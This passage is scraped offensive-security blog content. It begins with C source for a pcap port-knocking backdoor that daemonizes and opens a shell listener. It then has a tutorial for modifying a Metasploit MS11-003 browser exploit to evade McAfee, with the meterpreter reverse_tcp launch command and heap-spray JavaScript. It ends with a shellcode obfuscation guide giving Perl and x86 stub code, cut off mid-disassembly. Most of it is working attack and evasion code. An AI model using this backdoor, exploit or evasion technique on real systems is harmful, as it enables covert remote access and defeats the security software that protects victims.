		    pcap_err))==NULL) {
#ifdef DEBUG
		fprintf(stderr,&quot;pcap_open_live: %s\n&quot;,pcap_err);
#endif
	exit (0);
    }

    /* now, compile the filter and assign it to our capture */
    if (pcap_compile(cap,&amp;cfilter,filter,0,netmask)!=0) {
	if (cdr_noise)
	    capterror(cap,&quot;pcap_compile&quot;);
	exit (0);
    }
    if (pcap_setfilter(cap,&amp;cfilter)!=0) {
	if (cdr_noise)
	    capterror(cap,&quot;pcap_setfilter&quot;);
	exit (0);
    }

    /* the filter is set - let's free the base string*/
    free(filter);
    /* allocate a packet header structure */
    phead=(struct pcap_pkthdr *)smalloc(sizeof(struct pcap_pkthdr));

    /* register signal handler */
//signal(SIGABRT,&amp;signal_handler);
//signal(SIGTERM,&amp;signal_handler);
//signal(SIGINT,&amp;signal_handler);

    /* if we don't use DEBUG, let's be nice and close the streams */
#ifndef DEBUG
    //fclose(stdin);
    //fclose(stdout);
    //fclose(stderr);
#endif

    /* go daemon */

    switch (i=fork()) {
	case -1:
	    if (cdr_noise)
		fprintf(stderr,&quot;fork() failed\n&quot;);
	    exit (0);
	    break;	// not reached
	case 0:
	    // I'm happy
	    break;
	default:
	    exit (0);
    }

#ifdef DEBUG
    	printf(&quot;DEBUG: deamon forked\n&quot;);
#endif

    	/* main loop */
	for(;;) {

		/* if there is no 'next' packet in time, continue loop */
		if ((pdata=(u_char *)pcap_next(cap,phead))==NULL) continue;

		/* if the packet is to small, continue loop */
		if (phead-&gt;len&lt;=(ETHLENGTH+IP_MIN_LENGTH)) continue;

		/* make it an ip packet */
		ip=(struct iphdr *)(pdata+ETHLENGTH);

		/* if the packet is not IPv4, continue */
		if ((unsigned char)ip-&gt;version!=4) continue;

		/* make it TCP */
		tcp=(struct tcphdr *)(pdata+ETHLENGTH+((unsigned char)ip-&gt;ihl*4));

		/* FLAG check's - see rfc793 */

		/* if it isn't a SYN packet, continue */
		//if (!(ntohs(tcp-&gt;rawflags)&amp;0x02)) continue;
		if (!ntohs(tcp-&gt;syn)) continue;

		/* if it is a SYN-ACK packet, continue */
		//if (ntohs(tcp-&gt;rawflags)&amp;0x10) continue;
		if (ntohs(tcp-&gt;ack)) continue;

#ifdef CDR_ADDRESS
		/* if the address is not the one defined above, let it be */
		if (hent) {
#ifdef DEBUG
			if (memcmp(&amp;ip-&gt;daddr,hent-&gt;h_addr_list[0],hent-&gt;h_length)) {
				printf(&quot;DEBUG: Destination address mismatch\n&quot;);
				continue;
	    		}
#else
	    		if (memcmp(&amp;ip-&gt;daddr,hent-&gt;h_addr_list[0],hent-&gt;h_length))
				continue;
#endif // DEBUG
		}
#endif // CDR_ADDRESS

#ifdef DEBUG
        	printf(&quot;DEBUG: Check tcp port (%d)\n&quot;,ntohs(tcp-&gt;dest));
#endif

		if (time_to_get_listen_port){
			time_to_get_listen_port = 0;
#ifdef DEBUG
                	printf(&quot;DEBUG: Start Listener on port '%d'\n&quot;,ntohs(tcp-&gt;dest));
#endif
			// START SHELL LISTENER
			open_tty_shell(ntohs(tcp-&gt;dest),1,0);
			actport=0;
		}

		/* it is one of our ports, it is the correct destination
	 	* and it is a genuine SYN packet - let's see if it is the RIGHT
	 	* port */
		if (ntohs(tcp-&gt;dest)==cports[actport]) {
#ifdef DEBUG
	    		printf(&quot;DEBUG: Port %d is good as code part %d\n&quot;,ntohs(tcp-&gt;dest),
		    		actport);
#endif // DEBUG
#ifdef CDR_SENDER_ADDR
	    		/* check if the sender is the same */
	    		if (actport==0) {
				memcpy(&amp;sender,&amp;ip-&gt;saddr,4);
	    		}else{
				if (memcmp(&amp;ip-&gt;saddr,&amp;sender,4)) { /* sender is different */
		    			actport=0;
#ifdef DEBUG
			    		printf(&quot;DEBUG: Sender mismatch\n&quot;);
#endif // DEBUG
			    		continue;
				}
	    		}
#endif //CDR_SENDER_ADDR

	    		/* it is the rigth port ... take the next one
	     		* or was it the last ??*/
	    		if ((++actport)==cportcnt) {

				/* BINGO ! the next port will be the port where to listen*/

#ifdef DEBUG
				printf(&quot;DEBUG: Time to wait for the listen port\n&quot;);
#endif

				// Change the pcap filter to &quot;host 1.2.3.4&quot;
	        		memset(&amp;hostip,0,16);
        			sprintf(hostip,&quot;%s&quot;,inet_ntoa(ip-&gt;saddr));
	        		filter=(char *)smalloc(strlen(CDR_BPF_HOST)+strlen(hostip)+1);
		        	strcpy(filter,CDR_BPF_HOST);
        			strcat(filter,hostip);

		    		/* now, compile the filter and assign it to our capture */
    				if (pcap_compile(cap,&amp;cfilter,filter,0,netmask)!=0) {
#ifdef DEBUG
      					capterror(cap,&quot;pcap_compile&quot;);
#endif
		       			exit (0);
	    			}
    				if (pcap_setfilter(cap,&amp;cfilter)!=0) {
#ifdef DEBUG
	       				capterror(cap,&quot;pcap_setfilter&quot;);
#endif
        				exit (0);
	    			}
				free(filter);

                		// START SHELL LISTENER
				time_to_get_listen_port = 1;
				actport=0;

			} /* ups... some more to go */
		} else {
#ifdef CDR_CODERESET
	    		actport=0;
#endif
	    		continue;
		}
    	} /* end of main loop */

    	/* this is actually never reached, because the signal_handler() does the
     	* exit.
     	*/

}

#endif // USE_PCAP
</pre>
Note: There is a rating embedded within this post, please visit this post to rate it.
<p style='text-align:left'>&copy; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: 100% Anti-Virus evasion with Metasploit browser exploits (example with ms11-003)
author: foip
source:
http://funoverip.net/2011/04/100pc-anti-virus-evasion-with-metasploit-browser-exploits-from-ms11-003/

description:
<h2>1. Introduction</h2>
<p>If Metasploit encoders are great tools to avoid Anti-virus detection of the <strong>Payload</strong> (meterpreter, reverse_tcp, &#8230;), it is not always so easy to avoid the &#8220;<strong>Exploit</strong>&#8221; detection.</p>
<p>No. This article is <strong>not</strong> yet another tutorial explaining how to type &#8220;<span style="color: #800000;">set ENCODER xxxx</span>&#8221; on your keyboard.</p>
<p>In this post, we will show you how to break the anti-virus detection of your favorite exploits by customizing them a bit (modifying the source code) by using a try-and-error method. Keep in mind that everybody is able to do this. Sometimes, you just don&#8217;t know it. This is why I wrote this article <img src='http://funoverip.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .<br />
In this demonstration, we will work with McAfee Anti-Virus. It doesn&#8217;t mean that it should work with all other Anti-Virus vendor without further modifications of the initial exploit, but the method will be the same.</p>
<p><span id="more-736"></span></p>
<h2>2. Practical example</h2>
<p>Lets consider the browser exploit MS11-003 from Metasploit. Add your favorite payload to the exploit, set up your favorite encoder, and start it.</p>
<pre>root@host:~/metasploit/trunk# <span style="color: #800000;">./msfcli windows/browser/ms11_003_ie_css_import \</span>
<span style="color: #800000;">SRVHOST<span style="color: #0000ff;">=</span><span style="color: #008000;">192.168.1.1</span> SRVPORT<span style="color: #0000ff;">=</span><span style="color: #008000;">8989</span> URIPATH<span style="color: #0000ff;">=</span><span style="color: #008000;">abc</span> \</span>
<span style="color: #800000;">PAYLOAD<span style="color: #0000ff;">=</span><span style="color: #008000;">windows/meterpreter/reverse_tcp</span> LHOST<span style="color: #0000ff;">=</span><span style="color: #008000;">192.168.1.1</span> \</span>
<span style="color: #800000;">LPORT<span style="color: #0000ff;">=</span><span style="color: #008000;">4444</span> ENCODER<span style="color: #0000ff;">=</span><span style="color: #008000;">x86/shikata_ga_nai</span> E</span>
[*] Please wait while we load the module tree...

<span style="color: #333300;"> |                    |      _) |</span>
<span style="color: #333300;"> __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|</span>
<span style="color: #333300;"> |   |   |  __/ |   (   |\__ \ |   | | (   | | |</span>
<span style="color: #333300;">_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|</span>
<span style="color: #333300;"> _|</span>

<span style="color: #333300;"> =[ metasploit v3.7.0-dev [core:3.7 api:1.0]</span>
<span style="color: #333300;">+ -- --=[ 671 exploits - 347 auxiliary</span>
<span style="color: #333300;">+ -- --=[ 217 payloads - 27 encoders - 8 nops</span>
<span style="color: #333300;"> =[ svn r12169 updated today (2011.03.28)</span>

<span style="color: #800000;">SRVHOST <span style="color: #0000ff;">=&gt;</span> <span style="color: #008000;">192.168.1.1</span></span>
<span style="color: #800000;">SRVPORT <span style="color: #0000ff;">=&gt;</span> <span style="color: #008000;">8989</span></span>
<span style="color: #800000;">URIPATH <span style="color: #0000ff;">=&gt;</span> <span style="color: #008000;">abc</span></span>
<span style="color: #800000;">PAYLOAD <span style="color: #0000ff;">=&gt;</span> <span style="color: #008000;">windows/meterpreter/reverse_tcp</span></span>
<span style="color: #800000;">LHOST <span style="color: #0000ff;">=&gt;</span> <span style="color: #008000;">192.168.1.1</span></span>
<span style="color: #800000;">LPORT <span style="color: #0000ff;">=&gt;</span> <span style="color: #008000;">4444</span></span>
<span style="color: #800000;">ENCODER <span style="color: #0000ff;">=&gt;</span> <span style="color: #008000;">x86/shikata_ga_nai</span></span>
<span style="color: #ff0000;">[*]</span> Exploit running as background job.
<span style="color: #ff0000;">[*]</span> Started reverse handler on 192.168.1.1:4444
<span style="color: #ff0000;">[*]</span> Using URL: http://192.168.1.1:8989/abc
<span style="color: #ff0000;">[*]</span> Server started.
msf exploit(<span style="color: #800000;">ms11_003_ie_css_import</span>) &gt;</pre>
<p>Now, test the exploit with your <del>favorite</del> browser. What happens ?</p>
<p><a href="http://funoverip.net/wp-content/uploads/2011/04/ms11-003-av011.png"><img class="aligncenter size-full wp-image-860" title="ms11-003-av01" src="http://funoverip.net/wp-content/uploads/2011/04/ms11-003-av011.png" alt="" width="619" height="573" /></a></p>
<p>The <strong>payload</strong> is not detected by our anti-virus (as expected), <span style="text-decoration: underline;">but the <strong>exploit</strong> is</span> !</p>
<p>So what do we do now ?<br />
<br class="spacer" /></p>
<h2>3. Breaking the Anti-Virus signature</h2>
<p>As you know, the biggest part of an Anti-virus job is to work with signature detection.</p>
<p>In this case, the exploit is JavaScript/HTML based. Therefore, it should not be too difficult for us to modify this source code to avoid matching the AV signature.</p>
<h3>3.1 Find the signature</h3>
<p>The first step is to find the part of the exploit which triggers the Anti-Virus signature.</p>
<p>First, open the Metasploit exploit with your text editor and locate the &#8220;evil part&#8221;.</p>
<pre>root@host:~/metasploit/trunk# <span style="color: #800000;">vi</span> <span style="color: #0000ff;">modules/exploits/windows/browser/ms11_003_ie_css_import.rb</span></pre>
<p><br class="spacer" /></p>
<pre class="brush: java; title: ; notranslate">

 .....

 js_function  = rand_text_alpha(rand(100)+1)

 # Construct the javascript
 custom_js = &lt;&lt;-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape(&quot;#{special_sauce}&quot;);
while(heapspray.length &lt; 0x1000) heapspray += unescape(&quot;%u4444&quot;);
var heapblock = heapspray;
while(heapblock.length &lt; 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter &lt; 500; counter++) { heap.alloc(finalspray); }
var vlink = document.createElement(&quot;link&quot;);
vlink.setAttribute(&quot;rel&quot;, &quot;Stylesheet&quot;);
vlink.setAttribute(&quot;type&quot;, &quot;text/css&quot;);
vlink.setAttribute(&quot;href&quot;, &quot;#{placeholder}&quot;)
document.getElementsByTagName(&quot;head&quot;)[0].appendChild(vlink);
}
EOS

 .....
</pre>
<p>Ok, this is the evil part, responsible of exploiting the IE vulnerability.</p>
<p>Now, we will open the generated HTML exploit file, located in the cache folder of our browser, and locate this piece of code. For doing this, disable your  anti-virus and edit the file (<span style="color: #0000ff;">UV2gDc[1].htm </span>in this example). As you can see, the JavaScript function has been <em>obfuscated</em> by Metasploit. Because you are a great hacker, you will have no difficulties to recognize it <img src='http://funoverip.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Lets modify this function a bit. For example, rename variable &#8220;<strong>heap</strong>&#8221; with &#8220;hp&#8221;, and &#8220;<strong>heapspray</strong>&#8221; with &#8220;hps&#8221;.</p>
<p>Save and close the file, re-enable the anti-virus, an then try to re-open the file.</p>
<p><a href="http://funoverip.net/wp-content/uploads/2011/04/ms11-003-av021.png"><img class="aligncenter size-full wp-image-861" title="ms11-003-av02" src="http://funoverip.net/wp-content/uploads/2011/04/ms11-003-av021.png" alt="" width="571" height="346" /></a></p>
<p>Damned, still detected ! Note that the file is now detected as a Generic JavaScript backdoor.</p>
<p><br class="spacer" /></p>
<p>OK, lets try to modify a bit more the HTML source. Look at the JavaScript function above, especially the parameters name : <span style="color: #008000;">function(<span style="color: #0000ff;">shellcode</span>, <span style="color: #0000ff;">jmpecx</span>,<span style="color: #0000ff;"> size</span>)</span></p>
<pre class="brush: java; title: ; notranslate">
bXOKT.RqyUZ.prototype.hePiPcA = function(shellcode, jmpecx, size) {

    var size = (size ? size : 1008);
    if ((size &amp; 0xf) != 0)
        throw &quot;Vtable size &quot; + size + &quot; must be a multiple of 16&quot;;

    if (shellcode.length*2 &gt; size-138)
        throw(&quot;Maximum shellcode length is &quot; + (size-138) + &quot; bytes&quot;);

    var hePiPcA = unescape(&quot;%u9090%u7ceb&quot;)

    for (var i = 0; i &lt; 124/4; i++)
           hePiPcA += this.tYJSbsU(jmpecx);

     hePiPcA += unescape(&quot;%u0028%u0028&quot;) +
           shellcode + heap.TSfqldDBQQFXY((size-138)/2 - shellcode.length);
     return hePiPcA;
}
</pre>
<p><br class="spacer" /><br />
Honestly, if I was an anti-virus editor, I would suspect such kind of parameters. <strong>Shellcode</strong> and <strong>jmpecx</strong> patterns don&#8217;t smell too good to me. Let&#8217;s rename these parameters with &#8220;sc&#8221; (for shellcode) and &#8220;je&#8221; (for jmpecx). Don&#8217;t forget to rename the variables in the function body as well.</p>
<pre class="brush: java; title: ; notranslate">
bXOKT.RqyUZ.prototype.hePiPcA = function(sc, je, size) {
      var size = (size ? size : 1008);
      if ((size &amp; 0xf) != 0)
          throw &quot;Vtable size &quot; + size + &quot; must be a multiple of 16&quot;;
      if (sc.length*2 &gt; size-138)
        throw(&quot;Maximum shellcode length is &quot; + (size-138) + &quot; bytes&quot;);

     var hePiPcA = unescape(&quot;%u9090%u7ceb&quot;)

     for (var i = 0; i &lt; 124/4; i++)
         hePiPcA += this.tYJSbsU(je);

     hePiPcA += unescape(&quot;%u0028%u0028&quot;) +
              sc + heap.TSfqldDBQQFXY((size-138)/2 - sc.length);

    return hePiPcA;
}
</pre>
<p>Save and close the HTML file, re-enable the anti-virus, then try to reopen the file.</p>
<p><span style="color: #008000;"><strong>BINGO</strong></span> ! The anti-virus doesn&#8217;t complain anymore.</p>
<p><br class="spacer" /></p>
<h3>3.2. Make the change in Metasploit source</h3>
<p>We are almost done. Now that we successfully broke the AV signature, we will add the modifications to Metasploit and try the exploit from the beginning.</p>
<p>Reopen the exploit source from Metasploit directory, and rename the <strong>heap</strong> and <strong>heapspray</strong> variable as we did in the previous section.</p>
<pre>root@host:~/metasploit/trunk# vi <span style="color: #0000ff;">modules/exploits/windows/browser/ms11_003_ie_css_import.rb</span></pre>
<p><br class="spacer" /></p>
<pre class="brush: java; title: ; notranslate">

 .....

 js_function  = rand_text_alpha(rand(100)+1)

 # Construct the javascript
 custom_js = &lt;&lt;-EOS
function #{js_function}() {
hp = new heapLib.ie(0x20000);
var hps = unescape(&quot;#{special_sauce}&quot;);
while(hps.length &lt; 0x1000) hps += unescape(&quot;%u4444&quot;);
var heapblock = hps;
while(heapblock.length &lt; 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter &lt; 500; counter++) { hp.alloc(finalspray); }
var vlink = document.createElement(&quot;link&quot;);
vlink.setAttribute(&quot;rel&quot;, &quot;Stylesheet&quot;);
vlink.setAttribute(&quot;type&quot;, &quot;text/css&quot;);
vlink.setAttribute(&quot;href&quot;, &quot;#{placeholder}&quot;)
document.getElementsByTagName(&quot;head&quot;)[0].appendChild(vlink);
}
EOS

 .....
</pre>
<p><br class="spacer" /><br />
Now, where is located the second function we have modified ? You will not find it in the exploit itself.</p>
<p>The answer is a bit below the evil code:</p>
<pre class="brush: java; title: ; notranslate">
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
js = heaplib(custom_js)
</pre>
<p>HeapLib is a JavaScript library used to manage the heap during a browser exploit. You will find more information about HeapLib at <a href="http://blog.metasploit.com/2007/04/heaplib-support-added-to-metasploit-3.html" target="_blank">http://blog.metasploit.com/2007/04/heaplib-support-added-to-metasploit-3.html</a></p>
<p>HeapLib is located under your Metasploit directory structure at <span style="color: #0000ff;">./lib/rex/exploitation/heaplib.js.b64</span>. Note that the file is<strong> base64</strong> encoded.<br />
<br class="spacer" /><br />
Our last steps are now to:</p>
<ul>
<li><span style="text-decoration: underline;">Backup</span> this file <img src='http://funoverip.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </li>
<li><span style="text-decoration: underline;">Decode</span> the file. Copy/paste the content into one of these base64 decoders: <a href="http://www.google.com/search?q=base64+decode" target="_blank">http://www.google.com/search?q=base64+decode</a></li>
<li><span style="text-decoration: underline;">Modify</span> the decoded code by modifing the parameter names, as we did in the previous section (rename &#8220;<strong>shellcode</strong>&#8221; with &#8220;sc&#8221; and &#8220;<strong>jmpecx</strong>&#8221; with &#8220;je&#8221;; for example).</li>
<li><span style="text-decoration: underline;">Re-encode</span> the new content as base64.</li>
<li><span style="text-decoration: underline;">Replace</span> the file .<span style="color: #0000ff;">/lib/rex/exploitation/heaplib.js.b64</span> with the new content.</li>
</ul>
<p><br class="spacer" /><br />
It is time to test everything. Restart the exploit (if Metasploit is still running, close it first). If you did not introduce any error in the Metasploit files, you should now be able to use this exploit with 100% Anti-Virus evasion.</p>
<p>Note that in our demonstration, we&#8217;ve used McAffe as Anti-Virus. It does not mean that further modifications won&#8217;t be necessary for bypassing other anti-virus software!</p>
<p>Enjoy !</p>
Note: There is a rating embedded within this post, please visit this post to rate it.
<p style='text-align:left'>&copy; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: Simple shellcode obfuscation
source: http://funoverip.net/2011/09/simple-shellcode-obfuscation/
author: foip
description:
<h1>1. Introduction</h1>
<p>This article aims to provide you with the different steps needed to develop shellcode obfuscation techniques, and their respective deobfuscator assembly stubs. This should help you to learn a bit more about IDS and Anti-Virus evasion techniques, and more than that, to give you a useful template to create more advanced obfuscations stuffs.</p>
<p>Don&#8217;t be confused, we are not talking about shellcode &#8220;<strong>encoders</strong>&#8221; since we do neither modify the opcodes nor remove any bad characters. We will just hide the shellcode and &#8211; hopefully &#8211; break common shellcode patterns. It means that your initial shellcode must already be NULL free or some.</p>
<p>While obfuscating (or encoding) a shellcode with your own method will not help you to bypass <strong>all</strong> anti-virus software (thanks to sandbox-based AV), it is a useful step to achieve it (but this discussion is out of scope for the moment).</p>
<p>There is three main parts in this development:</p>
<ol>
<li>Obfuscate the Shellcode with a Perl script (or any other language). The result will print a shellcode in C syntax.</li>
<li>Write the assembly stub, able to reverse the shellcode in its initial state, and start it.</li>
<li>Tune the stub to make it reusable and put everything together.</li>
</ol>
<p><span id="more-1033"></span></p>
<h2>1.2. Requirements:</h2>
<ul>
<li>A computer with an Operating System.</li>
<li>Basic C/C++ knowledge.</li>
<li>Scripting knowledge  such as Perl, Ruby, Python &#8230;</li>
<li>Basic Shellcode understandings.</li>
<li>A bit of Assembly knowledge or enough of motivation to break the ice.</li>
</ul>
<h1>2. Shellcode scrambling method (one over 0xffffffff)</h1>
<p>The following picture illustrates the way we&#8217;ve obfuscated our Shellcode. We keep it simple for demonstration purpose.</p>
<p><a href="http://funoverip.net/wp-content/uploads/2011/08/shellcode-2.51.png"><img title="Shellcode" src="http://funoverip.net/wp-content/uploads/2011/08/shellcode-2.51.png" alt="Obfuscation" width="600" height="320" /></a></p>
<p>Junk bytes have been introduced between each byte of the initial shellcode, and the junk length is random too.</p>
<p>In order to be able to retrieve the location of the initial bytes at run-time (and so rebuild the initial shellcode), the junk length is stored right after the shellcode bytes as you can see in the previous picture.</p>
<p>The pros:</p>
<ul>
<li>No way to recognize the initial shellcode since the bytes are totally flooded over a bunch of bytes, at random distances.</li>
<li>Easy to implement.</li>
</ul>
<p>The cons:</p>
<ul>
<li>The size of the new shellcode.</li>
</ul>
<p>As usual, the final Shellcode will looks like this:<span style="color: #0000ff; background-color: #ffffff;"> <span style="color: #993300;">{ STUB }</span> {OBFUSCATED SHELLCODE}</span></p>
<h1>3. Practice</h1>
<h2>3.1. The obfuscation part</h2>
<p>As previously written, we have developed a Perl script to generate the obfuscated version of the Shellcode. Feel free to use any other language if you are not familiar with Perl.</p>
<p>This is just a first version of the script which will print out the obfuscated version of the Shellcode, based on the rule explained above (see the previous picture). In a later step, we will adapt this script to insert (and tune) the assembly stub to the final shellcode, and permit its deobfuscation..</p>
<pre class="brush: perl; gutter: true; first-line: 1">#!/usr/bin/perl -w
# ----------
# obf1.pl
# ----------

use strict;

# simple shellcode (print 'hello')
my $buf =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" .
"\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" .
"\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

#========================== CODE =============================

my $buf_length = do{length $buf};

# convert buf string into an array
my @buf_array = unpack 'a' x length $buf, $buf;

# random pool
my @rnd_steps=(1,2,3);
my @chars=('a'..'z','A'..'Z','0'..'9','_');

# final shellcode
my $final = "";

# init pseudo rnd generator
my $rnd=0;
srand(time);

# start obfuscation
for(my $i=0; $i&lt; $buf_length ; $i++){

	# copy good shellcode byte into final buffer
	$final	.= chr(ord($buf_array[$i]));

	# get random from @rnd_step
	$rnd	= $rnd_steps[rand @rnd_steps];

	# append random number after the SC byte
	$final	.= pack('c', $rnd);

	# add 'random - 1' junk bytes
	for(my $p=1; $p &lt; $rnd; $p++){
		$final .= $chars[rand @chars]; # RND
	}
}

# print final shellcode in C language
print "// NEW SHELLCODE\n";
print "unsigned char buf[] = ";
my $hex = unpack('H*', $final);
for (my $i = 0; $i &lt; length $hex; $i+=2) {
	if($i % 15 eq 0){
		if($i eq 0)	{print "\n\"";}
		else		{print "\"\n\"";}
	}
	print "\\x" . substr $hex, $i, 2;
}
print "\";\n\n";

# print shellcode length (optional)
print "unsigned int buf_len = ". do{length $final} . ";\n";</pre>
<p>Lets try:</p>
<pre class="brush: bash; gutter: true; first-line: 1">[user@linux]$ ./obf1.pl</pre>
<pre class="brush: cpp; gutter: true; first-line: 1">// NEW SHELLCODE
unsigned char buf[] =
"\xeb\x02\x33\x19\x01\x31\x03\x4f\x6e\xc0\x02\x48\x31\x01\xdb"
"\x02\x34\x31\x03\x53\x47\xd2\x03\x70\x56\x31\x01\xc9\x02\x48"
"\xb0\x02\x5f\x04\x01\xb3\x02\x68\x01\x02\x63\x59\x03\x6a\x4d"
"\xb2\x01\x05\x03\x76\x70\xcd\x02\x56\x80\x01\x31\x03\x33\x7a"
"\xc0\x02\x53\xb0\x03\x62\x52\x01\x01\x31\x02\x50\xdb\x02\x6d"
"\xcd\x01\x80\x01\xe8\x01\xe2\x02\x75\xff\x03\x67\x47\xff\x01"
"\xff\x01\x68\x02\x76\x65\x03\x5a\x45\x6c\x02\x53\x6c\x02\x4f"
"\x6f\x01";

unsigned int buf_len = 107;</pre>
<p>As you can see:</p>
<ul>
<li>the first byte is a valid shellcode byte (<span style="color: #008000;">\xeb</span>)</li>
<li>the second byte is the junk length before the next valid byte, and is chosen randomly (<span style="color: #008000;">\x02</span>)</li>
<li>the third byte is a random junk byte</li>
<li>the fourth byte is the second valid byte (<span style="color: #008000;">\x19</span>)</li>
<li>&#8230;</li>
</ul>
<h2>3.2. The deobfuscation stub</h2>
<p>This section is probably a bit more interesting. Here we will manage the deobfuscation of the shellcode at run-time by writing a small assembly code.</p>
<pre class="brush: asm; title: ; notranslate">
;enc2.asm
[SECTION .text]
global _start
_start:
        jmp short ender ; push SC addre on the stack (MY_JMP_ENDER)

starter:

        xor eax, eax    ; clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        pop edx         ; get addr of shellcode (jmp short ender)
        push edx

        mov esi, edx    ; set SC addr
        mov edi, edx    ; set SC addr
        inc esi         ; point to the first dst position
        inc edi         ; point to the first rnd

        mov cl, 200     ; tmp loop counter (MY_CNT)

myloop:
        xor eax, eax
        xor ebx, ebx

        mov al, byte [edi]  ; read distance to next byte
        add eax, edi        ; eax = addr of the next valid byte

        mov bl, byte [eax]  ; bl = next valid byte of the shellcode
        mov byte [esi], bl  ; move it to the final position

        mov edi, eax        ;
        inc edi             ; edi = next distance
        inc esi             ; esi = next position for a valid byte

        loop myloop         ; loop

done:
        pop ecx             ; call shellcode
        call ecx            ;

        xor eax, eax        ; exit the shellcode (if it returns)
        mov al, 1           ;
        xor ebx,ebx         ;
        int 0x80            ;

ender:
        call starter  ; put the address of the string on the stack
        ;db THE_OBFUSCATED_SHELLCODE
</pre>
<p><span style="text-decoration: underline;">Some explanations</span>:</p>
<p>In <span style="color: #0000ff;">starter</span> section, we are resetting the registers, put the address of the shellcode into EDX, initiate ESI and EDI which will later be used to navigate and modify the shellcode, and set ECX to (for the moment) a random value (ECX is the loop counter). ECX will have to hold the real length of the initial shellcode, and will be updated later by the Perl script.</p>
<p>In <span style="color: #0000ff;">myloop</span> section, we simply parse the obfuscated shellcode, and move back the valid bytes to their initial positions.</p>
<p>In <span style="color: #0000ff;">done</span> section, we jump to the address of the shellcode.</p>
<p><span style="color: #0000ff;">ender</span> section is the usual way to push the address of the shellcode onto the stack. During the <span style="color: #ff6600;">call starter</span> instruction, EIP register will be pushed on the top of the stack and will contains the address of the next instruction (which will be the first instruction of the shellcode).</p>
<p>Let&#8217;s compile our stub. Here we use <strong>nasm</strong> under Linux, but the stub will of course works under Windows too. After that, we dump the opcodes and check that everything is as expected.</p>
<pre class="brush: shell; gutter: true; first-line: 1">[user@linux]$ nasm -f elf enc2.asm
[user@linux]$ ld -o enc2 enc2.o
[user@linux]$ objdump -d enc2</pre>
<pre class="brush: x86; gutter: true; first-line: 1">enc2:     file format elf32-i386

Disassembly of section .text:

08048060 &lt;_start&gt;:
 8048060:	eb 2f                	jmp    8048091 &lt;ender&gt;

08048062 &lt;starter&gt;:
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	5a                   	pop    %edx
 804806b:	52                   	push   %edx
 804806c:	89 d6                	mov    %edx,%esi
 804806e:	89 d7                	mov    %edx,%edi
 8048070:	46                   	inc    %esi
 8048071:	47                   	inc    %edi
 8048072:	b1 c8                	mov    $0xc8,%cl

08048074 &lt;myloop&gt;:
 8048074:	31 c0                	xor    %eax,%eax
 8048076:	31 db                	xor    %ebx,%ebx
 8048078:	8a 07                	mov    (%edi),%al
 804807a:	01 f8                	add    %edi,%eax
 804807c:	8a 18                	mov    (%eax),%bl
 804807e:	88 1e                	mov    %bl,(%esi)
 8048080:	89 c7                	mov    %eax,%edi
 8048082:	47                   	inc    %edi
 8048083:	46                   	inc    %esi
 8048084:	e2 ee                	loop   8048074 &lt;myloop&gt;

08048086 &lt;done&gt;:
 8048086:	59                   	pop    %ecx
 8048087:	ff d1                	call   *%ecx
 8048089:	31 c0                	xor    %eax,%eax
 804808b:	b0 01                	mov    $0x1,%al
 804808d:	31 db                	xor    %ebx,%ebx
 804808f:	cd 80                	int    $0x80

08048091 &lt;ender&gt;:
 8048091:	e8 cc ff ff ff       	call   8048062 &lt;starter&gt;</pre>
<p>It is time to build the opcodes list (same as for a usual shellcode). I wrote this dirty AWK script, but choose the way you prefer.</p>
<pre class="brush: bash; gutter: true; first-line: 1">#!/bin/sh
# convert-sc.sh
objdump -d $1 | awk -F '\t' '{printf $2}' | \
	awk 'BEGIN { cnt=0; print; printf "unsigned char buf[]=\n\""}
	     {
		x=0;
		while(x&lt;NF){
			if(x % 15 == 0 &amp;&amp; x !=0){ printf "\"\n\""}
			printf "\\x"$(x+1); x++; cnt++
		}
		print "\";\n\nLength: "cnt
	      }'</pre>
<p>Then, we run it like this:</p>
<pre class="brush: bash; gutter: false; first-line: 1">[user@linux]$ ./convert-sc.sh enc2

unsigned char buf[]=
"\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
"\xd7\x46\x47\xb1\xc8\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
"\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
"\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff";

Length: 54</pre>
<p>Please welcome our new stub.</p>
<h2>3.3. Tuning the assembly STUB</h2>
<p>Great, we have our deobfucation code (section 3.2), ready to be prefixed to our obfuscated shellcode (section 3.1).</p>
<p>But, wait &#8230; We still need to update the loop counter (ECX) to the length of the initial shellcode.</p>
<h3>3.3.1 Updating the counter loop (ECX)</h3>
<p>We need to update the line 17 with the respective length of the initial shellcode.</p>
<pre class="brush: x86; gutter: true; first-line: 1; highlight: [17]">Disassembly of section .text:

08048060 &lt;_start&gt;:
 8048060:	eb 2f                	jmp    8048091 &lt;ender&gt;

08048062 &lt;starter&gt;:
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	5a                   	pop    %edx
 804806b:	52                   	push   %edx
 804806c:	89 d6                	mov    %edx,%esi
 804806e:	89 d7                	mov    %edx,%edi
 8048070:	46                   	inc    %esi
